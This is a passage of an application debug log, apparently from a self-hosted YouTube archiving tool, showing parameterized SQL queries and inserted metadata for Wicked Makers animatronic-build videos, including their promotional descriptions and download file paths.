14:45:00Z]] 13:41:58.624 [debug] QUERY OK source="sources" db=0.2ms idle=61.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:41:58.624 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:41:58.625 [debug] QUERY OK source="media_items" db=0.2ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122442] 13:41:58.625 [debug] Current batch of media processed. Will check again in 1000ms 13:41:59.625 [debug] Current batch of media processed. Will check again in 1000ms 13:42:00.488 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:42:00.627 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Jaimie and Jay make THE DOCTOR! 👁️ Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nClockwork Dog ► https://clockwork.dog\nBaldwin Williams Jr. ► @BaldwinVoices\nMob and Poppy Playtime ► https://poppyplaytime.com/\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real animatronic of Harley Sawyer, aka \"The Doctor\" to be a security guard and protect our house! Using an advanced system designed for controlling escape rooms and theme parks, we sort of gave him a \"brain\" so he can connect to our home network and control things like our door locks, security cameras, and lights! We even worked with the developer of the game, Mob Entertainment and his original voice actor.\n\n#TheDoctor\n#PoppyPlaytime\n#Animatronics", "duration" => 1594, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e061300 - We made The DOCTOR to Protect our House!.mp4", "id" => "IC1Hy_pnKT0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=IC1Hy_pnKT0", "playlist_index" => 9, "timestamp" => 1749836641, "title" => "We made The DOCTOR to Protect our House!", "upload_date" => "20250613"} 13:42:00.628 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=632.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:00.629 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=633.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:00.631 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=634.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-13 17:44:01Z], 35] 13:42:00.632 [debug] QUERY OK source="media_items" db=0.9ms idle=142.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make THE DOCTOR! 👁️ Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nClockwork Dog ► https://clockwork.dog\nBaldwin Williams Jr. ► @BaldwinVoices\nMob and Poppy Playtime ► https://poppyplaytime.com/\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real animatronic of Harley Sawyer, aka \"The Doctor\" to be a security guard and protect our house! Using an advanced system designed for controlling escape rooms and theme parks, we sort of gave him a \"brain\" so he can connect to our home network and control things like our door locks, security cameras, and lights! We even worked with the developer of the game, Mob Entertainment and his original voice actor.\n\n#TheDoctor\n#PoppyPlaytime\n#Animatronics", "We made The DOCTOR to Protect our House!", "b1105b45-9405-4d8a-b03d-a3337b770554", "IC1Hy_pnKT0", false, "https://www.youtube.com/watch?v=IC1Hy_pnKT0", 35, [], 1594, false, 9, "/downloads/shows/Wicked Makers/Season 2025/s2025e061300 - We made The DOCTOR to Protect our House!.mp4", false, false, 98, ~U[2025-06-13 17:44:01Z], ~U[2026-06-02 17:42:00Z], ~U[2026-06-02 17:42:00Z], "Jaimie and Jay make THE DOCTOR! 👁️ Download the FREE Upside App at https://upside.app.link/wicked to get an extra 25 cents back for every gallon on your first tank of gas!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nClockwork Dog ► https://clockwork.dog\nBaldwin Williams Jr. ► @BaldwinVoices\nMob and Poppy Playtime ► https://poppyplaytime.com/\nBeardless Props ► https://instagram.com/beardlessprops\nPurgatory Props ► https://purgatoryprops.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real animatronic of Harley Sawyer, aka \"The Doctor\" to be a security guard and protect our house! Using an advanced system designed for controlling escape rooms and theme parks, we sort of gave him a \"brain\" so he can connect to our home network and control things like our door locks, security cameras, and lights! We even worked with the developer of the game, Mob Entertainment and his original voice actor.\n\n#TheDoctor\n#PoppyPlaytime\n#Animatronics", "We made The DOCTOR to Protect our House!", "IC1Hy_pnKT0", "https://www.youtube.com/watch?v=IC1Hy_pnKT0", 35, 1594, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e061300 - We made The DOCTOR to Protect our House!.mp4", false, ~U[2025-06-13 17:44:01Z]] 13:42:00.632 [debug] QUERY OK source="sources" db=0.2ms idle=67.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:00.633 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:00.633 [debug] QUERY OK source="media_items" db=0.2ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122443] 13:42:00.633 [debug] Current batch of media processed. Will check again in 1000ms 13:42:01.634 [debug] Current batch of media processed. Will check again in 1000ms 13:42:02.635 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real YARNABY animatronic and test if it's strong enough to actually EAT a person!!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nGgreg Chaille ►https://x.com/gregchaille\nBeardless Props ► https://instagram.com/beardlessprops\nDERAILED3D ► https://youtube.com/DERAILED3D\nPurgatory Props ► https://purgatoryprops.com\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real Yarnaby animatronic from Poppy Playtime—and then made it strong enough to eat a person. In true Wicked Makers fashion, we didn’t stop at scary… we cranked it up to horrifying. Using steel, pneumatics, and a whole lot of trial and error, we created a terrifying DIY Halloween animatronic and then tested its bite strength with a ballistic gel arm to see if Yarnaby could really take a chunk out of someone. Spoiler: it got messy. If you're into DIY Halloween props, animatronic builds, or just love ridiculous horror props, you're going to love this chaotic creation.\n\nThis video is packed with behind-the-scenes madness, prop-making tips, and a full breakdown of how we built Yarnaby from scratch. Whether you're making your own haunted house props, dreaming up Halloween decor, or just love creepy DIY animatronics, this is the ultimate Poppy Playtime build for the spooky season. And if you love mascot horror, we’ve got a ton more custom animatronics from FNAF, Poppy Playtime, and even The Walten Files on our channel. Subscribe for more Wicked DIY horror projects and join Jay and Jaimie as we test the limits of what a homemade Halloween animatronic can actually do. Stay Wicked!\n\n#Yarnaby\n#PoppyPlaytime\n#Animatronics", "duration" => 1690, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e032800 - We made a real YARNABY Animatronic (that can eat people).mp4", "id" => "Vn8F67pCAlk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Vn8F67pCAlk", "playlist_index" => 10, "timestamp" => 1743190637, "title" => "We made a real YARNABY Animatronic (that can eat people)", "upload_date" => "20250328"} 13:42:02.636 [debug] QUERY OK source="sources" db=0.2ms idle=640.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:02.636 [debug] QUERY OK source="sources" db=0.2ms idle=640.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:02.637 [debug] QUERY OK source="media_items" db=0.4ms idle=641.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-28 19:37:17Z], 35] 13:42:02.638 [debug] QUERY OK source="media_items" db=1.1ms idle=641.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real YARNABY animatronic and test if it's strong enough to actually EAT a person!!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nGgreg Chaille ►https://x.com/gregchaille\nBeardless Props ► https://instagram.com/beardlessprops\nDERAILED3D ► https://youtube.com/DERAILED3D\nPurgatory Props ► https://purgatoryprops.com\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real Yarnaby animatronic from Poppy Playtime—and then made it strong enough to eat a person. In true Wicked Makers fashion, we didn’t stop at scary… we cranked it up to horrifying. Using steel, pneumatics, and a whole lot of trial and error, we created a terrifying DIY Halloween animatronic and then tested its bite strength with a ballistic gel arm to see if Yarnaby could really take a chunk out of someone. Spoiler: it got messy. If you're into DIY Halloween props, animatronic builds, or just love ridiculous horror props, you're going to love this chaotic creation.\n\nThis video is packed with behind-the-scenes madness, prop-making tips, and a full breakdown of how we built Yarnaby from scratch. Whether you're making your own haunted house props, dreaming up Halloween decor, or just love creepy DIY animatronics, this is the ultimate Poppy Playtime build for the spooky season. And if you love mascot horror, we’ve got a ton more custom animatronics from FNAF, Poppy Playtime, and even The Walten Files on our channel. Subscribe for more Wicked DIY horror projects and join Jay and Jaimie as we test the limits of what a homemade Halloween animatronic can actually do. Stay Wicked!\n\n#Yarnaby\n#PoppyPlaytime\n#Animatronics", "We made a real YARNABY Animatronic (that can eat people)", "48684e72-7930-46c6-8863-fc6a6ac121d4", "Vn8F67pCAlk", false, "https://www.youtube.com/watch?v=Vn8F67pCAlk", 35, [], 1690, false, 10, "/downloads/shows/Wicked Makers/Season 2025/s2025e032800 - We made a real YARNABY Animatronic (that can eat people).mp4", false, false, 98, ~U[2025-03-28 19:37:17Z], ~U[2026-06-02 17:42:02Z], ~U[2026-06-02 17:42:02Z], "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real YARNABY animatronic and test if it's strong enough to actually EAT a person!!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSpecial Thanks to:\nGgreg Chaille ►https://x.com/gregchaille\nBeardless Props ► https://instagram.com/beardlessprops\nDERAILED3D ► https://youtube.com/DERAILED3D\nPurgatory Props ► https://purgatoryprops.com\nGhost Ride Productions ► https://ghostride.com\n\nJoin our Community on Discord! ►\nhttps://discord.gg/wickedmakers\n\nWe built a real Yarnaby animatronic from Poppy Playtime—and then made it strong enough to eat a person. In true Wicked Makers fashion, we didn’t stop at scary… we cranked it up to horrifying. Using steel, pneumatics, and a whole lot of trial and error, we created a terrifying DIY Halloween animatronic and then tested its bite strength with a ballistic gel arm to see if Yarnaby could really take a chunk out of someone. Spoiler: it got messy. If you're into DIY Halloween props, animatronic builds, or just love ridiculous horror props, you're going to love this chaotic creation.\n\nThis video is packed with behind-the-scenes madness, prop-making tips, and a full breakdown of how we built Yarnaby from scratch. Whether you're making your own haunted house props, dreaming up Halloween decor, or just love creepy DIY animatronics, this is the ultimate Poppy Playtime build for the spooky season. And if you love mascot horror, we’ve got a ton more custom animatronics from FNAF, Poppy Playtime, and even The Walten Files on our channel. Subscribe for more Wicked DIY horror projects and join Jay and Jaimie as we test the limits of what a homemade Halloween animatronic can actually do. Stay Wicked!\n\n#Yarnaby\n#PoppyPlaytime\n#Animatronics", "We made a real YARNABY Animatronic (that can eat people)", "Vn8F67pCAlk", "https://www.youtube.com/watch?v=Vn8F67pCAlk", 35, 1690, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e032800 - We made a real YARNABY Animatronic (that can eat people).mp4", false, ~U[2025-03-28 19:37:17Z]] 13:42:02.639 [debug] QUERY OK source="sources" db=0.1ms idle=72.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:02.639 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 13:42:02.639 [debug] QUERY OK source="media_items" db=0.2ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [122444] 13:42:02.640 [debug] Current batch of media processed. Will check again in 1000ms 13:42:03.640 [debug] Current batch of media processed. Will check again in 1000ms 13:42:04.641 [debug] Current batch of media processed. Will check again in 1000ms 13:42:05.643 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real ENNARD animatronic and survive the night with it!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn and @BeardlessProps!\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nOur Favorite 3D Printing Filament ► https://collabs.shop/llx8l1\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nWe turned Ennard from Five Nights at Freddy’s into a fully functional DIY Halloween animatronic, and then we survived the night with it in our bedroom! This chaotic challenge was packed with late nights, over 500 ft of wire loom conduit, and more hot glue than we care to admit. If you're looking for creepy Halloween ideas, over-the-top DIY Halloween props, or just want to see what happens when two horror-obsessed makers (Jay and Jaimie from Wicked Makers) go all-in on their scariest animatronic makeover yet — this one's for you. It’s a FNAF-inspired horror prop with major Halloween decor vibes, and the end result is one of the creepiest animatronics we’ve ever made!\n\nWhether you're decorating your haunted house, building your own Halloween FNAF animatronics, or just love horror props from Poppy Playtime, FNAF, or anything spooky—this project is filled with inspiration. We’ll walk you through the full build process, share tips for working with foam, servo motors, LEDs, and how to make terrifying DIY Halloween decorations. Subscribe for more Wicked DIY builds and join us in making Halloween year round!\n\nStay Wicked!\n\n\n#FNAF\n#Animatronics\n#FiveNightsAtFreddys", "duration" => 1071, "filename" => "/downloads/shows/Wicked Makers/Season 2025/s2025e022700 - Surviving Overnight with a real ENNARD Animatronic!.mp4", "id" => "c0z4AD7VA4Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=c0z4AD7VA4Y", "playlist_index" => 11, "timestamp" => 1740690395, "title" => "Surviving Overnight with a real ENNARD Animatronic!", "upload_date" => "20250227"} 13:42:05.644 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1648.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [35] 13:42:05.645 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1649.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:05.647 [debug] QUERY OK source="media_items" db=1.1ms queue=0.1ms idle=1650.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-02-27 21:06:35Z], 35] 13:42:05.649 [debug] QUERY OK source="media_items" db=1.3ms idle=1077.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. -- Jay and Jaimie build a real ENNARD animatronic and survive the night with it!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nYou Can Support Our Videos! ► https://patreon.com/wickedmakers\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn and @BeardlessProps!\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nOur Favorite 3D Printing Filament ► https://collabs.shop/llx8l1\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nWe turned Ennard from Five Nights at Freddy’s into a fully functional DIY Halloween animatronic, and then we survived the night with it in our bedroom! This chaotic challenge was packed with late nights, over 500 ft of wire loom conduit, and more hot glue than we care to admit. If you're looking for creepy Halloween ideas, over-the-top DIY Halloween props, or just want to see what happens when two horror-obsessed makers (Jay and Jaimie from Wicked Makers) go all-in on their scariest animatronic makeover yet — this one's for you. It’s a FNAF-inspired horror prop with major Halloween decor vibes, and the end result is one of the creepiest animatronics we’ve ever made!\n\nWhether you're decorating your haunted house, building your 